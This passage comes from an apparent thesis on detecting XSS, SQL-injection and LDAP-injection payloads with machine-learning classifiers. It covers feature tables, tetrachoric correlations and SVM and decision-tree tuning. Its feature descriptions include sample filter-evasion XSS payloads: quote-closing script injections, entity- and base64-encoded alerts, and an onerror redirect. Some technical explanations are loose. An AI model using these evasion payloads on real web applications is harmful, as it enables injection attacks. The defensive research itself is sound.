case sensitive[61, 197], but nevertheless an attacker can manipulate the case
of letters in order to trick the protective systems of web applications – e.g., by
writing an HTML tag such as
< iMg SrC = x OnErRoR = window.location = 123
where
"< iMg" is a HTML img tag, "SrC" and "OnErRoR"are HTML attributes; all
of the latter specifications are case insensitive, but "window.location = 123"
or "if htmlstring == onerror" are JavaScript statements, and these are case
sensitive. The presence of such mixed-case HTML statements, as a feature, is
often considered to be a powerful indicator of malicious as opposed to benign
payloads, but this feature has been dispensed with here because the focus of
this work is not on the way in which commands are written, but instead on
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the payload contents; this will be explained further in the section on selecting
features below.
3.5 Selecting Features
Features were selected according to the attack structure; the type of the script was
taken into account either written as the developers first implemented it or obfuscated.
Likarish et al. in [115] focused in their approach on obfuscated scripts that may be
injected into a web application; to achieve this purpose the features that were used
focused on the lexical structure of the payload - if it contained hex or octal numbers,
the percentage of white space, the number of words, the number of methods called
and whether it was human readable. Figure 3.1 from the same study shows the
features that were searched for in scripts.
Fig. 3.1 Obfuscated Script Example
Komiya et al. in [108] focused on the content of the payload with reference to
features which depended on the terms present and the white-space which separated
these: for instance, the number of examples of a range of terms (tags, punctuation,
literals, numerals, and objects) which were encountered within the payloads. Good
results were achieved by these two studies [108, 115], but the contribution of our
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work is to select features that enable the classifier to be trained so that it can recognize
obfuscated payloads and payloads containing suspicious commands. In terms of
the process of selecting features, this research has been focused on the payload’s
structure in particular, the aim being to find significant symbols and signs within
payloads. These symbols and signs are present in all types of payloads whether
benign or malicious, but with different usages; often, the numbers of the various
signs and symbols which appear in the two different types of payload are different.
For example, there are often many more parentheses in malicious payloads than
appear in benign payloads. Moreover, there are commands in JavaScript which can
be used to steal information or hide the malicious script referenced by it, but these
commands are also used by developers: such as cookie, document, href, src and so
forth. Features were selected which represented the JavaScript commands that are
most frequently used by attackers and how they can be used.
Initially, fourteen features were employed, including some punctuation-based
features. These fourteen features were then used to evaluate the classifiers’ per-
formance, however the classifier performance using these features was not strong.
Further features were then added, incrementally, so that eventually all the relevant
punctuation and special characters were included. The idea at the beginning was to
calculate the percentage of a feature’s occurrence within a payload (in relation to the
total number of features). With the gradual addition of features, it was noted that the
accuracy of this approach started to become close to that of the previous two works
[108, 115]. Since the motivation for this research was to achieve very high accuracies
from a security perspective, the features applied have been modified to be Boolean
only in order to achieve better accuracy while maintaining performance in terms of
speed. In this present research, the two methods employed in the previous works are
combined [108, 115], but with an emphasis on XSS attacks, selecting features which
can help with detecting obfuscated attacks and analysing the content of the payload.
For example, XSS attacks often use JavaScript, SQL-i and LDAP injections, and all
of these can employ SQL statements. Taking note of this observation, features were
chosen such that similar features and those which are frequently found in all the
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types of attack-payload directed against web applications were grouped and named
with non-alphanumeric features. Features which were not of this kind, such as those
indicating the presence of keywords, were placed in another group - alphanumeric
features.
3.5.1 Non-alphanumeric Features
An attacker may use techniques which are specifically designed to trick a signature
based protection system: such as using ASCII Code; inserting unnecessary symbols
inside a payload; and writing malicious scripts using JavaScript commands then
altering some of these commands in order to pass through/ deceive web application
protection (e.g., a script tag can be written as < sc ri pt >, or the code for accessing
a cookie can be separated into two parts using the ‘+’ sign - ("document +’ . ’ +
cookie") ). In addition, there are combinations of symbols which may also be useful
(to the attacker) when included in malicious payloads. As a result of the presence
of obfuscated payloads, finding malicious payloads in general must be undertaken
using special techniques. In consequence, non-alphanumeric features have been
identified which depend on the numbers of particular characters appearing in the
payload. In order to differentiate between the two types, punctuation marks and
special characters, the non-alphanumeric features were divided into these two groups.
The full non-alphanumeric punctuation characters group is given in Table 3.6 and
the special characters in Table 3.7. All these characters can be used in XSS, SQL-i,
and LDAP attacks.
3.5.1.1 Punctuation Group Features
The punctuation group contains most of the signs that are used in normal text, as
well as those which are commonly used within payloads. Most of them can occur in
any payload and have a widely-recognised significance in plain text. They have been
examined in relation to the information in [54]. Table 3.6 shows all the punctuation
marks that can be found within both normal and obfuscated payloads, and which
were used as features within this research.
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Feature Term Feature Term
Ampersand Sign & Comma Sign ,
Percentage Sign % Hyphen Sign -
Slash Sign / Less Than <
Backslash Sign \ Greater Than >
Plus Sign + At Sign @
Apostrophe Sign ’ Underscore Sign _
Question Mark ? Colon Sign :
Exclamation Mark ! Dot .
Semicolon Sign ; Open Brace {
Octothorpe Sign # Close Brace }
Equal Sign = Tilde Sign ∼
Open Bracket [ Space
Close Bracket ] Quotations Sign "
Dollar Sign $ Grave Sign ‘
Open Parenthesis ( Vertical Bar |
Close Parenthesis ) Power Sign ^
Asterisk Sign * Broken Bar ¦
Table 3.6 Non-alphanumeric Features (Punctuation)
An explanation of the features listed in Table 3.6 in terms of how they are used
by attackers within payloads is given in the Appendix A. Some of these features
have been used for similar purposes in other works such as [2, 115, 144, 202], but
others are for the first time here - such as (Tilde, Broken bar, Grave).
3.5.1.2 Special Characters Group Features
Special characters are defined here as those specified by a combination of one
or more punctuation marks. The purpose of these combinations is to bypass the
filters which attempt to protect the web application from malicious payload; the
characters specified in this way can, for instance, close a previous tag and open a
script tag, escape certain punctuation marks in HTML, or generally can be encodings
of payloads. Table 3.7 shows the combinations which can be used by attackers, for
XSS attacks specifically. Some of the combinations have been catered for in other
works such as [2, 144, 194]; other features have been defined and applied for the




And - Less Than (&lt) &lt
Quotation Greater Than Less Than "><
Apostrophe Quotation Greater Than Less Than ’"><
Double Bracket []
And - Hash Signs &#
Double Equals ==
Double Slashes //
Table 3.7 Non-alphanumeric Features (Special Characters)
Below is a description of the features listed in Table 3.7 and an explanation of
how they are used by attackers within payloads to bypass web application protection
filters. They have are described in terms of OWASP [77].
Special Characters Group Description
1. And - Less Than (&lt): stands for the "<" sign which is an HTML language
element which introduces attributes: for example < h3 >. The special char-
acter is used by the attacker to open a new tag that containing the malicious
payload: e.g., &lt script > alert(”Hacked”)< /script >.
2. Quotation Greater Than Less Than (”><): This can be used by an attacker
to close a previous tag and start a new tag containing a malicious payload: e.g.,
” >< script > alert(”Hacked”)< /script >.
3. Apostrophe Quotation Greater Than Less Than (′” ><): This can be used
by an attacker to close a previous text then close the tag and then open a new tag
containing a malicious payload: e.g., as ′” >< script > alert(”Hacked”)<
/script >.
4. Double Brackets ([]): By the use of this, the attacker can benefit from the
facilities of the PHP-Shell, whereby he can encode a malicious payload using
brackets as well as a set of non-alphanumeric characters; then such a payload
can be added to a GET request and sent to the server. Such as ′(++[])[−ˆ[]]+





< script > alert(”Hacked”)< /script >
5. And-Hash Sings (&#): The attacker can use this to convert malicious pay-
loads from Decimal form to an HTML entity; thus the attacker can encrypt the






< IMG SRC = javascript : alert(′Hacked′)>
6. Double Equals (==): With this, an attacker can take advantage of the double
equals when writing malicious functions; this symbol can be used as a logical
operators within conditionals such as (if, while), also it can be used via base64
encoding to encode the malicious payload: e.g.,
(PHN jcmlwdD5hbGV ydCgiSGF ja2V kIik8L3N jcmlwdD4 ==)
which means
< script > alert(”Hacked”)< /script >
7. Double Slashes (//): This can be used by an attacker to bypass the filters;
specifically it can be used within a malicious payload either for escaping
JavaScript escapes, or to redirect to another URL: e.g.,
(< SCRIPT > var a = ”\\”;alert(′Hacked′);//”;< /SCRIPT >).
3.5.2 Alphanumeric Features
The alphanumeric features include commands and functions which could be used
in XSS, SQL-i, and LDAP attacks - attackers may use a range of functions or
commands in their attacks. For example, such alphanumeric sequences may be used
in de-obfuscated functions or when adding commands within HTML tags. Such
functions, are also used in normal payloads, but clearly they are used in a different
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way in an attack payload. Such functions, are also employed in development.
For example, the number of variables definition, the document functions, and the
cookies function are all focused on use during development. Because of this, the
alphanumeric features were divided into two groups: the first group containing
commands, tags, and functions that are commonly used within XSS payloads; and
the second group containing the SQL statement that are commonly used in SQL-i and
LDAP injections. Table 3.8 illustrates the XSS alphanumeric features and table 3.9
presents the SQL-i and LDAP alphanumeric features.
3.5.2.1 XSS Alphanumeric Features
The alphanumeric features of benign XSS payloads often include commands, events,
and objects that may also be found within malicious payloads. Most payloads use
the same kinds of JavaScript scripts, but malicious payloads tend to use JavaScript
commands in a suspicious way: for example, they might use the eval function
frequently, include malicious payloads within an image tag source, or use suspicious
but de-obfuscated functions. When a significant number of suspicious activities
occur within a payload, it will be classified as a malicious script. Table 3.8 illustrates
the suspicious features mentioned along with the terms used for each feature.
Features Terms
Readability Readable by human
Objects document, window, iframe, location
Events Onload, Onerror
Methods String.fromCharCode, Search.
Tags DIV, IMG, script, Break Line.






Letters Letters within payload.
Numbers Numbers within payload.
Symbols Symbols within payload
Table 3.8 XSS Alphanumeric Features
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Below is a description of the features listed in the table 3.8 and an explanation of
how they are used within payloads by attackers. Most of the information given was
obtained from OWASP [151].
XSS Alphanumeric Features Description
1. Readability: The readability feature represents to what extent a text, entered
through an entry point in a web application, is directly human-readable. This
feature is based on the percentage of characters within the entered text are
human-readable letters. It is considered that if 80% of the text consists of
letters which are readable, then the text is readable, otherwise it is considered
unreadable. The proportion of 80% was chosen because when Likarish et al.
in [115] set a comparable parameter to 70%, they achieved highly accurate
results. The same percentage was used in this study and achieved reasonable
results, but the goal here is to achieve an even higher accuracy and more
robust results in terms of protecting web applications; thus, the proportion
of characters in the entered text which must be readable for the text to be
considered readable was gradually increased until the results were found to be
more accurate than those of the previous works. The feature was represented
using a Boolean value, (1) for readable and (0) for unreadable. A function was
created in MS Excel to determine whether text is readable or not.
2. Document: A document object is an HTML object which represents a web
page which can be presented to the user. Furthermore, a document object is a
starting point which can be used to change, add, or delete elements of the web
page. It can be used by an attacker, who has a set of properties, to obtain user
information or to change the page’s behaviour in unexpected ways.
3. Window: A Window object is an HTML object which represents a page which
is open in the browser; the browser creates a window object for each opened
HTML document. An attacker can take advantage of window objects, using




4. Iframe: An IFrame is an HTML object represents an HTML <iframe> element.
It can be used by an attacker who intents on following the same origin policy,
or to create a twinned web site within an iframe which behaves exactly like
the real site, but simply exists to obtain user-sensitive information.
5. Location: A Location object is an HTML object containing information
about the current URL. An attacker may use a location object to obtain user
information or to update the location of the document to one which contains a
version of the document controlled by, and provided by, the attacker.
6. Onload: The Onload event occurs immediately after a page has been loaded;
the code for it often exists within the <body> element, and is executed after the
loading of the entire page content is completed. It can be used by an attacker
to execute a JavaScript attack after the window loads.
7. Onerror: The Onerror event is activated in the case of an error occurring
while an document or image is being downloaded from an external source. An
attacker could use it to execute a JavaScript a malicious JavaScript.
8. String.fromCharCode: This method converts Unicode numbers to characters.
An attacker may employ this method to convert a malicious payload into
numbers, to bypass a protective filter, and then use it again to convert the script
back to an executable form.
9. Search: The Search method searches a string or an expression for a specified
value, and returns the position of any match. An attacker may use this method,
by inserting malicious payloads within search values.
10. Div: Div is a HTML tag which can be considered as a container for other
HTML elements such as CSS or for the execution of JavaScript. An attacker
may use this tag to include a malicious payload, for example, within a style
attribute.
11. Img: The Img tag is used to insert an image into an HTML page. An attacker
may use this tag by including a malicious payload in a source (Src) attribute.
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12. Script: The Script tag is used to execute a client-side script, which either
contains scripting statements or refers to an external script using a (Src) at-
tribute. This tag is the most important tag used by attackers to insert malicious
payloads to run on the client side. It is used by attackers covertly by encoding
it or encrypting it in order to bypass filters.
13. Break Line: This is represented by (<br>), an HTML tag, and it is intended
to insert/display one blank line on the web page. However, it can be used by
an attacker to bypass filters by dividing a malicious payload into several lines.
It is mostly used in DOM attacks.
14. Src: The Src attribute is used to specify a URL (location) for an external
resource such as an image, a JavaScript file, an audios or a video. An attacker
can benefit from this attribute in such a way as to bypass any filters, by
including a malicious payload within the Src attribute. In this way the attacker
could, for instance, ensure that an event such as "Onmouseover" contains a
malicious payload, or import an external file containing a JavaScript malicious
payload.
15. Href: This is an attribute which is used to specify a URL that the user will
activate next; in other words, it creates a hyperlink to an external resource. An
attacker may use this attribute to include a malicious payload, or to redirect
the user to a server which is under the attacker’s control.
16. Cookie: This is a small text file on a user’s computer in which user data can
be stored. After a web server sends the web page to the user’s browser, it is
disconnected from the user’s computer. But when the user visits the same
page again, the user information which is stored in the cookies associated with
that page becomes relevant again. Cookies are considered to be one of the
attacker’s most important targets because this is where user names, passwords,
and credit card information are likely to be stored. An attacker may take
advantage of the cookie attribute to send information which is stored in a
cookie file to a server that is under the attacker’s control.
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17. Var: This stands for variable, and is used in JavaScript to declare variables. It
can be used by an attacker who wishes to declare variables within a malicious
payload.
18. Eval: This is a global function in JavaScript that can be used to evaluate a
string or expression as JavaScript code and execute it. An attacker may use
this function in several different ways: e.g., to execute an expression which
compiles and execute several variables which contain malicious payloads, or
to execute encoded code.
19. HTTP: This is a protocol for communicating between clients and servers using
a request and response methodology. The browser sends an HTTP request to
the server which the server receives and then processes via an application; this
subsequently sends a response to the browser. The protocol may be used by
attacker, sending a request to the server which contains a malicious payload.
Alternatively it may be used within a malicious payload to redirect the user to
a server under the attacker’s control.
20. .js: This is a JavaScript file which is imported from an external source and
then executed within a web page. An attacker may take advantage of such
external JavaScript files by including them in the payload; in this case they
will constitute malicious code.
21. Alert: This facility is used to display an alert box with a specific message as
well as an OK button. It is often employed to show a message to the user in
such a way that the focus remains solely on the message box until the OK
button is pressed. The facility may used by an attacker to show a (often false)
message to the user or to include a malicious payload that is executed after the
OK button is pressed.
22. Letters: This feature relates to the number of letters in a payload. An encoded
malicious payload may contain fewer letters than normal, or when such human-
readable letters are not encoded, the number of punctuation marks may be
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excessive. For this reason, a function was created in MS Excel that calculates
the number of letters in the payload as identified using the ASCII codes. To
determine the resultant value of the feature, the ratio of characters which are
letters to all characters in the payload is calculated, if this is more than 70%
the feature’s value is represented as (1), otherwise it is represented as (0).
23. Numbers: This feature counts the number of numeric characters (digits) in
the payload; a function was created in MS Excel that calculates the number
of digits in a payload – via the ASCII codes. To determine the resultant
value of the feature, the ratio of characters which are digits to all characters is
calculated, if this is more than 70%, the feature’s value is represented as (1),
otherwise it is represented as (0).
24. Symbols: This feature relates to the percentage of non-alphanumeric symbols
within the payload; such symbols include all characters that are not digits,
lowercase letters, nor uppercase letters. The value (1) is given to the feature in
the case where the percentage of symbols (to other characters) is 70% or more,
otherwise the feature is represented by the value (0). The following function
illustrates the method employed to calculate the feature values.
The last three features used the proportion 70% as their thresholds. This is because
any increase beyond this percentage in the ratios in question marks the associated
inputs (payloads) as suspect. This proportion was used in [115] in a feature employed
to determine the readability of payloads. The percentage (70%) has yielded better
results in this respect than other percentages.
3.5.2.2 SQL-i and LDAP Alphanumeric Features
The alphanumeric features used in relation to both SQL-i and LDAP are similar
in principle, as both types of payload will include a set of SQL statements in their
injections. Table 3.9 shows SQL statements that may be present in attacks. The






Select, From, Table, Where, Like,
Insert, Update, Delete, Drop, Login,
And, Or, Group, Union, Null
Table 3.9 SQL-i and LDAP Features
1. Select: This is one of the SQL commands that functions to retrieve data from
a database, and is one of the most commonly used.
2. From: This keyword is used within a "select" statement in order to specify
the table in the database from which the information is to be retrieved.
3. Table: This is used to create a new table within a database; the columns and
their data type are selected.
4. Where: This is used to filter rows within a table according to specified criteria.
5. Like: This is used, in association with ’Where’ to search for strings of charac-
ters which match in terms of a specified pattern.
6. Insert: This is for adding a new record to a table in the database; the statement
may contain values that are to be added to the columns.
7. Update: This is to update the values in a record or several records within a
table in the database.
8. Delete: This is used to permanently remove a record or multiple records from
a table in a database.
9. Drop: This is used to drop (delete) a database and all its tables.
10. Login: This is used to create an identity that can be used to communicate with
the SQL server; the login is mapped to a database user.
11. And: This is one of the logical operators which can be used with "where". It
is employed in relation to two conditions - both conditions must be true for
the operator to return the value true.
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12. Or: This is one of the logical operators that can be used with "where". It is
employed to in relation to two conditions - at least one of these conditions
must be true for the operator to return the value true.
13. Group: This is used to group a set of rows with the same values in summary
rows. It can be grouped using one or more columns.
14. Union: This is used to combine the result sets returned by two queries (i.e.,
the results of two "Select" statements). The two sets must be in the same order,
have the same number of columns, and the data types used in the two queries
must have been identical.
15. Null: This means that a field has no value; thus a new record can be inserted
into a table or a table row can be updated - with a null value in one or more of
its columns.
3.5.3 Text Features
The text features were defined so that they can help differentiate between inputs that
are normal text and inputs that are scripts. These features were chosen based on the
fact that the inputs are composed, diversely, of letters, numbers, and punctuation
symbols (including parentheses). In order to distinguish between normal text and
scripts the structure of the text was taken into consideration; normal text is expected
to contain a lower percentage of punctuation symbols than scripts. Table 3.10
presents the text features.
Feature Terms
Letter Proportion of letters in the payload
Number Proportion of numbers in the payload
Space Proportion Proportion of spaces in the payload
Punctuation Proportion of (; , : . = ( ) [ ] { } <> / ’ " ‘) in the payload
Special Character Proportion of (! $ ? _ &) in the payload
Operations Proportion of ( + - * ^) in the payload
Table 3.10 Text Features
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Punctuation characters, special characters, and character-based operational fea-
tures have been described in terms of their use within normal text in section 3.5.1.1.
All the text features have been calculated in relation to payloads by counting the
number of occurrences of the various classes of characters in the payload and divid-
ing this by the its total length. All the functions necessary to this have been created
using MS Excel.
3.6 Extracting Features
Features are extracted from payloads by splitting the payload according to the size
of the feature. For example, when extracting features that are represented by a single
character, the payload will be split into single character strings. When a feature
consists of more than one character, the payload will be split into a number of strings,
all the same length as the feature. Via this process, MS Excel was used to find
features within the payloads. Several functions built into Excel were used to extract
the features; descriptions of these functions can be obtained from [46]. The same
process was used to search for features within all payloads and scripts. Example
code for searching for (script) features follows:
IF(SUMPRODUCT ((LEN(A2)−LEN(SUBST ITUT E(A2,”script”,””)))
/LEN(”script”))>= 1,1,0)
3.7 Representing Features
The features shown in Table 3.6, 3.7, 3.8 and 3.9 are all represented by Boolean
values (0/1), where (1) represents the occurrence of the feature and (0) represents
the non-occurrence of the feature within a payload. The features in Table 3.10 are
for determining the type of payload, whether normal text or script, and are also
represented using values between 0 and 1, where the value shows the proportion of
feature occurrence within the payload. The outputs (Labels) are also represented
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by either 0 or 1, where the positive (malicious) classes are represented by 0 and the
negative (benign) classes are represented by 1.
3.8 Features Correlation
Cross-Site Scripting dataset and selected features are contributions to this thesis, it
is imperative that their efficacy is tested. For this purpose, the correlation between
the individual features and class variables will be examined in order to find out the
correlation between them. Taking into account that all feature’s value in the dataset
were represented by (0,1), this led to the selection of the tetrachoric method for
finding the correlation. The reason for this choice is because tetrachoric correlation
coefficient estimates the relationship between two bivariate variables (i.e, yes/no,
true/false), assuming an underlying bivariate normal distribution [113]. Tetrachoric
correlation has the ability to measure whether two binary features are linearly
dependent or not. In the case of a correlation, the coefficient of correlation is
± 1 and in case of uncorrelated the coefficient is 0 [22, 68]. It is worth noting
that the positive correlation coefficient indicates a direct relationship between the
two variables, meaning if the first variable increases, the second variable increases.
The negative correlation coefficient indicates an inverse relationship between the
variables, that is, if the first variable increases, the second variable decreases. Zero
denotes that there is no relationship between the two variables.
Table 3.11shows the results of applying tetrachoric correlation to XSS dataset
to find the correlation between individual features and class variables. It can be
observed from the results, that all the features obtained a value ranging between -1
and +1, which indicates to a correlation between features and class. It can also be
deduced from the results in the table that there is a linear dependence between the
individual features and the class.
Figure 3.2 shows the correlation coefficients distribution, where the blue dots
represent the correlation coefficient between feature and class. Moreover, it can be
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Feature Correlation Feature Correlation Feature Correlation Feature Correlation
Ampersand Sign -0.0018 Comma Sign 0.3147 &lt -0.4355 IMG -0.1591
Percentage Sign -0.3561 Hyphen Sign 0.2310 ">< -0.1023 script -0.7525
Slash Sign -0.4349 Less Than -0.7166 ‘">< -0.0248 Break Line -0.6006
Backslash Sign 0.0647 Greater Than -0.5936 [] 0.0505 SRC -0.2840
Plus Sign 0.1445 At Sign 0.0346 &# -0.0554 Href -0.0240
Apostrophe Sign 0.0916 Underscore Sign -0.2172 == 0.0843 Cookie -0.3716
Question Mark -0.6868 Colon Sign -0.4869 // -0.4804 Var 0.1390
Exclamation Mark 0.1931 Dot -0.0819 Readability 0.0015 eval -0.0267
Semicolon Sign -0.4713 Open Brace 0.1084 document -0.3158 HTTP -0.5021
Octothorpe Sign -0.0027 Close Brace 0.1003 window 0.0641 External File -0.0463
Equal Sign -0.3102 Tilde Sign -0.0372 iframe -0.1854 Alert -0.8263
Open Bracket 0.0624 Space 0.2407 location 0.1598 Letters 0.1394
Close Bracket 0.0607 Quotations Sign -0.0766 Onload -0.1447 Numbers -0.0168
Dollar Sign 0.1435 Grave Sign -0.0089 Onerror -0.1277 Symbols 0.0066
Open Parenthesis -0.3487 Vertical Bar 0.0768 String.fromCharCode -0.1283
Close Parenthesis -0.3496 Power Sign 0.0350 Search -0.3666
Asterisk Sign 0.0850 Broken Bar 0.0301 DIV 0.0187
Table 3.11 Features Correlations Results
seen that the correlation coefficients are widely spread, which indicates the weak
correlation between the individual features and the class.
Fig. 3.2 XSS Dataset Tetrachoric Correlation
It is concluded from the previous results in Table 3.11 that there is a correlation
between the features and the class, as well as the results show that some features are
very important which have achieved results further from zero.
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Cross-Site Scripting dataset is available at"https://github.com/fmereani/Cross-
Site-Scripting-XSS". It is available for academic purposes or for further examination
and analysis.
3.9 Summary
This chapter has discussed the collecting of the data in relation to its sources, detailing
the various different datasets used, their size, and the way they were put together.
Furthermore, it has provided a discussion of the feature selection process and the way
that these were represented in the experiments, explaining each feature alongside the
method of attack that they relate to. Moreover, the method of extracting the features
from the payloads was described. In addition to explaining of a correlation between
individual features and a class, and the strength of the correlation between them.
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Classifiers and Initial Results
4.1 Introduction
The datasets employed for this research are presented in Chapter 3, in terms of how
they were put together, as well as how many instances each contained. In addition,
the features used have been reviewed along with an explanation of the methods
utilized to extract them, and the ways in which they have been represented. In
the course of this chapter, it will be shown how datasets and features were applied
together in order to create the classifiers models. The purpose of these classifiers was
to detect XSS attacks and also to recognize and identify SQL and LDAP injections.
The reason of why machine learning is preferred in this study over payload parsing
is that the parser creates vectors (tag, key, value) for all HTML or any script in
the request. These vectors are then sent to the verifier which checks its database
that contains black-list tags for each vector to determine if it is malicious or not
[109]. The main disadvantage of the parser is that it cannot recognize the JavaScript
code due to encoding or obfuscate the payload, which means that the parser has
been deceived [159]. On other hand, supervised machine learning uses algorithms
to analyse data, as the algorithm is trained using large amounts of data that give it
the ability to recognise the attack pattern to be able to perform the task then make
decisions or predictions [38].
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Section 4.2 highlights the types of classifiers that have been used in the exper-
iments here. Section 4.3 describes the optimizations for each of these classifier
and explains the tuning that was achieved via that classifiers’ various parameters.
Section 4.4 describes the evaluation methods that were used to evaluate classifier
models. Section 4.4.3 reviews the measurement criteria that were used to measure
and analyse the models’ performance. Section 4.5 sets out the initial results obtained
via the use of the classifiers discussed with regard to each type of attack; these results
will be compared with the results yielded by the further approaches which will be
discussed in the coming chapters (approaches relating to improving the efficiency of
the classifiers). Section 4.7 summarizes the material reviewed in this chapter.
The descriptions of the creation of classifiers for detecting XSS attacks which
are included in this chapter were published at the Advanced Machine Learning
Technologies and Applications Conference in a paper entitled Detecting Cross-Site
Scripting Attacks Using Machine Learning [130].
4.2 Classifiers
In this present study, a range of classifier types have been used to create models
able to detect XSS, SQL-i, and LDAP attacks - though the emphasis is primarily on
XSS attacks. The classifiers were constructed using the extracted features which
have been described in Chapter 3. Support Vector Machine, k-Nearest Neighbour,
Random Forest, and Neural Network classifiers were all constructed using features
which can be represented as (0,1) values. On other hand, the Decision Tree classifier
used features with values between 0 and 1; the value reflecting the proportion of
the presence of the feature within the payload used to create the classifier. These
classifiers were optimised by using various different parameters – in order to achieve
the best classifications across all the classifiers. The overall approach which has been
used with the classifiers is supervised learning. The reason for choosing these ma-
chine learning algorithms is that they are all well-known approaches to classification
as they demonstrate stable results. In addition, fundamentally different techniques
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were chosen which include tree based (DT and RF), neighbourhoods (kNN), space
dividing (SVM) and neural networks for arbitrary function approximation (NN).
The next section will explain the construction of the classifiers with an emphasis
on the parameters used for each classifier. MatLab R2018b was used to create
the models, and this study focuses on the Decision Tree, Support Vector Machine,
k-Nearest Neighbour, Random Forest, and Neural Network classifiers and their
performance.
4.3 Fitting the Models
In the process of creating a model, a number of steps have to be followed. The
selected features must be used as inputs for the purpose of training the classifiers; here
features with Boolean values (0,1) have been used with the SVM, k-NN, Random
Forest, and Neural Network classifiers - to detect attacks. Features with values
between 0 and 1 were used with the Decision Tree classifier to distinguish between
normal text and scripts. In addition, relevant parameters have been identified for use
in building the model; these parameters were tuned in order to achieve the best results
- classifier optimisation will be explained in relation to each classifier individually. It
should be noted that the XSS training dataset was used to optimise the classifiers,
and the reason for choosing this particular dataset for this purpose was that the focus
in this research is on detecting and so preventing XSS attacks.
4.3.1 Decision Tree Classifier
The decision tree classifier model uses a supervised learning method that follows
a top to bottom strategy in order to build a tree; the branches of this tree represent
choices which are made with regard to a feature, and its leaves are the class (labels) or
targets. The method aims to return the most appropriate classification of an instance
by starting from the tree root then moving through the branches (decisions) until
it encounters a leaf – wherefrom the class (label) is yielded [198]. A decision tree
classifier was used to distinguish the entered data as either being normal text or
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script. The decision tree classifier was chosen to classify the text because it forces
the consideration of all possible outcomes of a decision and traces every path to
a conclusion [210]. Moreover, the decision tree algorithm is fast in performing
classifications, as well as it works on highly non-linear data easily. This made the
decision tree classifier the best choice for classifying text.
This kind of classifier is also used here as the first of a set of cascading classifiers
applied to the detection of XSS attacks against web applications. The decision tree
classifier was optimized by tuning the "MaxNumSplits" parameter in order to control
the maximum number of branch splits per tree. The most appropriate value for
this parameter as it related to this classifier was discovered using cross validation -
whereby a range of different values were tried in order to find which one resulted in
the highest accuracy of classification, taking into account both the true positive and
the true negative rates. Table 4.1 lists the attempts made to select the parameter.
Number of Splits 1 2 3
Accuracy 99.88 99.96 99.96
Precision 100 99.96 99.96
True Positives Rate 99.76 99.96 99.96
True Negative Rate 100 99.96 99.96
Table 4.1 Text Classifier Optimisation
Table 4.1 shows that when the "MaxNumSplits" parameter was set to 1, an
accuracy rate of 99.88% was obtained. This rate is considered to be high in relation
to distinguishing between normal text and scripts. In an attempt to achieve even
greater accuracy, the "MaxNumSplits" parameter was increased to 2 and this indeed
resulted in an accuracy of 99.96% an improvement on the accuracy yielded when
the "MaxNumSplits" parameter was set to 1. However, when "MaxNumSplits" was
increased to more than 2, the classifier maintained the same accuracy rate, and for
this reason the value of the "MaxNumSplits" parameter selected was 2. The model
was constructed using the "fitctree" function which is built-in to MatLab, as follows:
DTModel = fitctree(TextTBL,TextResponseVarName,'MaxNumSplits',2);
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4.3.2 Support Vector Machine Classifiers
The support vector machine classifier model uses a supervised learning algorithm
whereby such a classifier learns from examples each of which consists of a set of
features linked in one way or another to class names (labels); the classifier uses
the presence of these features to predict the classes of new data. The purpose of
applying support vector machines (SVM) is to derive a mathematically efficient
method for separating the relevant hyperplanes which exist in a high dimensional
feature space [42]. Support vector machines can be used in both types of supervised
learning (classification, regression) [16]. SVM originated in the statistical learning
theory proposed by Vapnik in 1995 [193]; this theory focuses on the problems of
pattern classification [202], and it includes a method whereby the feature-space
is separated into two subspaces using a two way linear function; the hyperplane
defined by this function divides the multi-dimensional space into two, one area
representing one class and the other area representing non-membership of that class.
Non-linear functions are also used - to maps the feature space into a new features
space in such way that the class-dividing hyperplane can be represented in a linear
form [41]. This study has used both a linear kernel (SVM-L), and a polynomial
kernel (SVM-P). Both kernels have been employed here to classify attacks against
web applications; they have been used to distinguish between payloads - whether
such contain malicious or benign scripts - and to distinguish between input scripts -
whether such contain SQL or LDAP injections or not – but with a focus on detecting
XSS attacks in particular. The reason for choosing SVM is that it is a common
algorithm in supervised learning and it can learn from examples to predict new data,
where the model will be trained using the created XSS dataset. In addition to this, the
goal of SVM is to orientate the hyperplane to be as far as possible from the nearest
member of both classes [62] to determine a hyperplane which separates the two
categories and has the maximum margin of both classes. This can be used with the
XSS dataset, as the margins between the two classes are intended to be maximised
in order to obtain a high accuracy classification.
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In order to achieve the best results, three parameters were used to tune this model
of classifier: KernelFunction, BoxConstraint, and OutlierFraction. Each one of these
parameters is designed to facilitate the adjustment of the classifier; this latter can be
described, based on [126], as follows:
1. KernelFunction: This is used to transform the input data into points in the
multi-dimensional feature space; the kernel function maps a non-linear situa-
tion into a linear one. After this, it applies appropriate linear methods on the
transformed data [116]. The types of kernel function which can be used with a
SVM classifier are:
(a) Gaussian or rbf: A Gaussian or Radial Basis Function (RBF) kernel -
which is used for one-class learning.
(b) Linear: A Linear kernel, used for two-class learning.
(c) Polynomial: Polynomial kernel, used for two-class learning.
Two kernels were used in this research: linear and polynomial. The reason
that these particular kernels were selected was the fact that they both have the
ability to designate a hyperplane which divides the feature space into areas
representing two distinct classes very effectively. RBF has been excluded
because the dataset contains two classes of data: malicious and benign.
2. BoxConstraint: The purpose of this parameter is to control the maximum
penalty for misclassification (misclassifications which cause a violation of the
margin). This parameter can be set so that the cost of misclassification (in
terms of points) becomes higher, and this leads to more strict separation. The
disadvantage of increasing the "BoxConstraint" is that it leads to increases in
training times[76, 126].
3. OutlierFraction: This is set according to the expected proportion of outliers
in the training data, and is represented via a numeric scalar in the interval
(0,1). This parameter, estimating the proportion of outliers in the instances,
was proposed in [126].
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The following section explains the method that was used to adjust the SVM parame-
ters appropriately.
4.3.2.1 SVM Parameters Adjustment
In this section, the methods used to determine and adjust the parameter values for
the SVM classifier will be explained in relation to each individual parameter. This
is so except in the case of the "Kernel Function" parameter; as has already been
explained, the linear and polynomial kernels were used to create the classifiers. All
the adjustments were made in relation to the XSS training dataset.
4.3.2.1.1 BoxConstraint Parameter: As has been said, this was used to control
the maximum penalty incurred by misclassification. For this purpose, automated pa-
rameter optimisation was implemented by applying the "OptimizeHyperparameters"
function and setting its value to be auto. The code for finding the optimal parameters




The best value for the "BoxConstraint" parameter, as obtained by using this
automated optimization, was 0.5, where the criterion applied was to achieve the
lowest misclassification rate; with this value, a misclassification rate of 0.0116 was
attained. This parameter was used with the linear kernel only.
4.3.2.1.2 OutlierFraction Parameter: This parameter was used to specify the
proportion of outliers which could be expected in the dataset instances. The Outlier-
Fraction parameter’s value was determined by finding the arithmetic mean of the
instances output obtained from the dataset (with respect to different settings of the
parameter) and selecting that setting which was associated with the best (lowest)
misclassification rate, the value determined in this way was 0.73. This parameter
was used with the polynomial kernel only.
